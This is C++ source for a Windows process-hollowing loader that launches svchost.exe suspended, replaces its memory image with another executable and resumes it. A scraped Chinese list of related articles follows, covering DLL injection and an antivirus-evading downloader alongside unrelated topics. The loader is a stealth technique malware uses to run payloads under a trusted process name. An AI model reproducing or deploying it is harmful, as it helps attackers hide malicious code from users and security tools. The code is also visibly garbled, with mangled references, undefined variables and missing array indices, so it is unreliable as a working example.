#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"
struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};
struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};
struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};
struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};
struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};
struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};
#define TARGETPROC "svchost.exe" ;
typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;
BOOL EXPD = False ;
CHAR *PID;
//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
if(fileSize < sizeof(MZHeader))
{
printf("File size too small/n");
return false;
}
// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);
if(mzH.signature != 0x5a4d) // MZ
{
printf("File does not have MZ header/n");
return false;
}
printf("Offset to PE Header = %X/n", mzH.offsetToPE);
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
printf("File size too small/n");
return false;
}
// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);
printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
printf("Number of sections = %d/n", peH.numSections);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
printf("Unexpected option header size./n");
return false;
}
// read PE Ext Header
PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
printf("Import table address = %X/n", peXH.importTableAddress);
printf("Import table size = %X/n", peXH.importTableSize);
printf("Import address table address = %X/n", peXH.importAddressTableAddress);
printf("Import address table size = %X/n", peXH.importAddressTableSize);
// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;
return true;
}
//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;
if(inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.virtualSize)
{
if(inSecHdr.virtualSize % alignment == 0)
result += inSecHdr.virtualSize;
else
{
int val = inSecHdr.virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}
return result;
}
//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;
fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;
// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.pointerToRawData < headerSize)
headerSize = inSecHdr.pointerToRawData;
}
// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d/n", headerSize);
if(readSize != headerSize)
{
printf("Error reading headers (%d %d)/n", readSize, headerSize);
return false;
}
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
// read the sections
for(i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.sizeOfRawData > 0)
{
unsigned long toRead = inSecHdr.sizeOfRawData;
if(toRead > inSecHdr.virtualSize)
toRead = inSecHdr.virtualSize;
fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead)
{
printf("Error reading section %d/n", i);
return false;
}
outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
}
else
{
// this handles the case where the PE file has an empty section. E.g. UPX0 section
// in UPXed files.
if(inSecHdr.virtualSize)
outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
}
}
return true;
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
long delta = newBase - inpeXH->imageBase;
while(fixBlk->blockSize)
{
printf("Addr = %X/n", fixBlk->pageRVA);
printf("Size = %X/n", fixBlk->blockSize);
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
printf("Num Entries = %d/n", numEntries);
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i < numEntries; i++)
{
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
int relocType = (*offsetPtr & 0xF000) >> 12;
printf("Val = %X/n", *offsetPtr);
printf("Type = %X/n", relocType);
if(relocType == 3)
*codeLoc = ((DWORD)*codeLoc) + delta;
else
{
printf("Unknown relocation type = %d/n", relocType);
}
offsetPtr++;
}
fixBlk = (FixupBlock *)offsetPtr;
}
}
}
//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
{
if(CreateProcess(NULL, TARGETPROC,
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo = (DWORD *)ctx->Ebx;
DWORD read;
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
DWORD curAddr = outChildProcInfo->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
{
if(memInfo.State == MEM_FREE)
break;
curAddr += memInfo.RegionSize;
}
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
return TRUE;
}
} else
{
DEBUG_EVENT DBEvent;
if(DebugActiveProcess((DWORD)*PID))
{
WaitForDebugEvent(&DBEvent,INFINITE);
pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo2 = (DWORD *)ctx->Fs;
*pedInfo2+=0x30;
DWORD read2;
ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);
DWORD curAddr2 = outChildProcInfo2->baseAddr;
MEMORY_BASIC_INFORMATION memInfo2;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
{
if(memInfo2.State == MEM_FREE)
break;
curAddr2+= memInfo2.RegionSize;
}
outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;
return TRUE;
}
}
return FALSE;
}
//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
// thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;
if(createChild(π, &ctx, &childInfo))
{
printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
LPVOID v = (LPVOID)NULL;
if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
{
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
// overwrite it in memory
v = (LPVOID)childInfo.baseAddr;
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
}
else
{
// get address of ZwUnmapViewOfSection
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// try to unmap the original EXE image
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
{
// allocate memory for the new EXE image at the prefered imagebase.
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
}
}
if(!v && hasRelocationTable(inpeXH))
{
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
// location
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
{
printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);
// we've got to do the relocation ourself if we load the image at another
// memory location
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}
printf("EIP = %X/n", ctx.Eip);
printf("EAX = %X/n", ctx.Eax);
printf("EBX = %X/n", ctx.Ebx); // EBX points to PEB
printf("ECX = %X/n", ctx.Ecx);
printf("EDX = %X/n", ctx.Edx);
if(v)
{
printf("New EXE Image Size = %X/n", imageSize);
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
DWORD *pebInfo = (DWORD *)ctx.Ebx;
DWORD wrote;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
// patch the base addr in the PE header of the EXE that we load ourselves
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
peXH->imageBase = (DWORD)v;
if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
{
printf("New EXE image injected into process./n");
ctx.ContextFlags=CONTEXT_FULL;
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
if((DWORD)v == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
else
{
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
// performed.
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
printf("********> EIP = %X/n", ctx.Eip);
printf("********> EAX = %X/n", ctx.Eax);
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
printf("Process resumed (PID = %d)./n", pi.dwProcessId);
}
else
{
printf("WriteProcessMemory failed/n");
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("Load failed. Consider making this EXE relocatable./n");
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("Cannot load %s/n", TARGETPROC);
}
}
int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
printf("/nUsage: %s [pid]/n", argv[0]);
return 1;
}
if(argc==3){
alloc(PID,1024);
memset(PID,0,1024);
strcpy(PID,argv[2]);
EXPD= True ;
}
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader *secHdr;
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
{
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
printf("Image Size = %X/n", imageSize);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(ptrLoc)
{
printf("Memory allocated at %X/n", ptrLoc);
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
}
else
printf("Allocation failed/n");
}
fclose(fp);
}
else
printf("/nCannot open the EXE file!/n");
return 0;
}
相关推荐
把dll模块注入到游戏进程的方法_插APC注入
APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。
一个向别的进程插入dll的代码
#include "stdafx.h"#include "windows.h"#include "tlhelp32.h"#include "ntpsapi.h"struct PE_Header {unsigned long signature;unsigned short machine;unsigned short numSections;unsigned long timeDateStamp;
动态库dll与静态库lib编程5:进程注入技术
动态库dll与静态库lib编程5:进程注入技术。
c++编译时提示"psapi.h"找不到的解决办法
出现此类问题是,一般是因为系统没有安装platform sdk所致,下载并安装platform sdk可以解决这个问题。 还有一个更简单一点的方法,从晚上下载psapi.h 和psapi.lib,然后分别放到Visual studio相关的头文件目录和lib文件目录。 遇见这个问题两次了。杯具。
HOOK API——Windows核心编程 第22章 插入DLL和挂接API学习笔记
介绍:HOOK API是指截获特定进程或系统对某个API函数的调用,使得API的执行流程转向指定的代码。Windows下的应用程序都建立在API函数至上,所以截获API是一项相当有用的技术,它使得用户有机会干预其它应用程序的程序流程。最常用的一种挂钩API的方法是改变目标进程中调用API函数的代码,使得它们对API的调用变为对用户自定义函数的调用。HOOK API和HOOK技术完全不同。尽
C++ DLL进程注入技术详解与实战
进程注入是一种高级技术,通常在安全、测试或恶意软件领域中使用,目的是在运行中的进程中插入代码,以此来扩展或控制进程的行为。在合法的场景下,进程注入可以用于调试、监控、插件化应用程序、实现模块化或执行特定的系统级任务。然而,当被恶意利用时,它可以绕过安全机制,执行未授权的操作,甚至安装恶意软件。动态链接库(DLL)是Windows操作系统中一种重要的资源集合形式,用于存储可由多个程序共享的代码和数据。DLL的引入是为了避免代码的重复,并使得应用程序更加灵活高效。使用。
NB的内存加载exe文件
原理: 1. 把你的程序读要内存 2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe 3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面 4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了 原文来自哪里忘记了,。呵呵 // #in
深入了解DLL代码注入技术与工具实践
动态链接库(Dynamic Link Library,DLL)注入是一种高级技术,它允许开发者将一个动态链接库文件插入到一个运行中的进程中。DLL注入的目的是为了扩展或修改进程的功能,而无需重新启动目标进程或对原始程序进行任何修改。常见的应用场景包括但不限于:调试和测试、实现模块化插件系统、运行时代码修改、恶意软件的行为注入等。DLL注入技术在合法的软件开发和调试过程中非常有用,它可以用来动态添加或替换功能模块,实现热插拔,即在不停止服务的情况下更新系统功能。
获取系统运行进程信息——PSAPI介绍使用
版权声明:本文为博主原创文章,未经博主允许不得转载。 网上资料显示,有这么三种方法可以用来获取系统运行进程信息: 方法 平台 备注 PSAPI Windows NT,Windows2000,Windows XP 获取进程,驱动器,模块,内存和工作集信息 性能计数器 Windows NT,Windows2000,Windows XP 提供除进程清单以外的关于进程的
山东专升本计算机网络基础知识点 --- 计算机网络基础
计算机网络是指将一群具有独立\textcolor{WildStrawberry}{独立}独立功能的计算机通过通信设备及传输媒体等互联起来,在通信软件的支持下,实现计算机间资源共享、信息交换或协同工作\textcolor{WildStrawberry}{资源共享、信息交换或协同工作}资源共享、信息交换或协同工作的系统。计算机网络是计算机技术和通信技术紧密结合的产物\textcolor{WildStrawberry}{计算机网络是计算机技术和通信技术紧密结合的产物}
科研人必备!用WisPaper搭建个人文献知识库的完整指南(附Zotero联动技巧)
本文详细介绍了如何利用WisPaper搭建高效的个人文献知识库,包括文件命名标准化、文件夹结构设计、语义搜索技巧及与Zotero的深度联动方法。通过智能标签系统和知识图谱功能,科研人员可以快速定位关键文献,提升研究效率。特别适合需要管理大量学术文献的研究者。
一个向别的进程插入dll的代码 .
--------- Functions in C --------------- CONTEXT OriginalContext; //Get/SetThreadContext's parameter char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //my section...Offset of Code
手把手教你用Python实现双三次插值(附OpenCV对比测试)
本文深入解析了双三次插值算法的数学原理,并提供了从零开始的Python实现教程。通过与OpenCV官方实现的对比测试,详细评估了不同插值算法(包括最邻近差值、双线性插值)在图像质量与计算性能上的差异,帮助开发者掌握高质量图像缩放的核心技术。
最基础的插入进程代码
//获得进程句柄 HWND hwnd=::FindWindow(NULL,"计算器"); if(!hwnd) { AfxMessageBox("请打开计算器"); return; } //取得进程句柄和进程ID DWORD Process,ProcessId; Process=::GetWindowThreadProcessId(hwnd,&ProcessId); //利用进程句柄
2021-3-20组会 无监督训练下的音频分离 (音源分离) Unsupervised Audio Source Separation Using Generative Priors
0. 说明 一片具体论文的综述
Android System Slice应用加载分析,及启用Slice后,锁屏日期第一次开机正常显示,但后面锁屏不显示问题分析
最近发现Android P上锁屏界面,日期不显示,发现从P开始后,出现了Slice来允许应用以模块化,可交互的方式,插入多个使用场景。Android P的system UI 也使用到了这一特性,表现为锁屏时间,日期,勿扰图标,闹钟等。 如何使用Slice 以System UI中KeyguardSliceView.java来说明它的使用方法 首先,我们打开System UI 的mk 文件,可以看到以...
用DLL控制Windows中进程的方法
在Microsoft Windows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一銎湟用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址系内存,那么这个错误不会影响另一个进程使用的内存。Windows 98 在Windows 98下运行的各个进程共享2 GB的地址空间,该地址空间从0x
电磁兼容标准体系解析:从基础到认证的完整指南
本文系统解析了电磁兼容(EMC)标准体系,从基础概念到认证流程提供完整指南。文章阐述了EMC对于产品可靠性与市场准入的重要性,详细拆解了基础标准、通用标准、产品类标准及认证流程四层结构,并结合5G设备与工业控制等实战案例,为工程师提供了从设计初期到认证测试的高效应用策略。
无Dll插入进程,下载者VC源代码
http://hi.baidu.com/core22/blog/item/f5399d23c1f9bb40ac34de73.html 无Dll插入进程,下载者VC源代码2007-12-30 15:29 生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多
Linux运维人,该醒醒了,2019年要变天了
外界都说运维只是处于被动低效率手工救火的状态,企业对其重视程度不高,提起运维很多人能联想到的字眼就有“苦逼”、“辛苦”、“加班”、“背锅”。在大数据、人工智能、容器技术的强力加持下,运维这个传统的技术工种已经从“机械劳动”这样的刻板印象中蜕变出来,成为了任何一家技术公司所必须依赖和大力投入的核心技术能力。 现在,运维人员的发展前景也开始让很多程序员眼羡,作为Linux运维人员的你:这一年,你的L...
基于深度学习的道路裂缝检测系统完整教程
本文介绍了一种基于深度学习的道路裂缝检测系统完整解决方案。项目采用5466张高质量道路裂缝图像数据集,包含YOLO和Pascal VOC两种标注格式,覆盖多种道路场景。系统利用CNN和YOLO算法实现高效检测,相比传统人工巡检显著提升效率和准确性。文中详细阐述了数据集结构、环境配置和训练流程,包括数据预处理、智能分割策略和质量检查方法。该技术可及时发现道路裂缝隐患,降低维护成本,保障交通安全,为道路养护提供智能化解决方案。
无dll插入进程,下载者vc源代码
无dll插入进程,下载者vc源代码 增加代码xor解密功能,以逃过杀毒软件. 生成mini下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可. 参考delphi版本的下载者源代码,编出来有16k左右。压缩也有10k多, 于是写了vc的代码。按以下的设置,编译出来2k左右。 还可以可以再设置一下编译开关,以减小体积。 ps:原代码中4处没有对\转义,以下代码编译通过; 编译
Probability and Statistics - 4th edition
Probability and Statistics - 4th edition
C/C++中应用程序调用其他dll模块,想要使用vs调试这个dll里的代码,附加进程的方式无法命中断点,但通过调试启动的方式却可以,是什么原因?
“公共语言运行时支持”配置设置错误导致,报错“当前不会命中断点。没有与此行关联的调试程序的目标代码类型的可执行代码。可能的原因包括:条件编译、编译器优化或当前的调试程序代码类型不支持此行的目标体系结构”。你现在的耐心和细致,终将转化为未来面对复杂系统时的从容与自信。继续向前,代码世界会因你的探索而更加清晰!:符号文件、代码一致性、调试器类型、DLL 加载时机。通过上述步骤,可解决 95% 的附加进程断点失效问题。在 Visual Studio 中调试 C/C++ 编写的 DLL 时,
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案
文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况
主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。
1173



被折叠的 条评论
为什么被折叠?



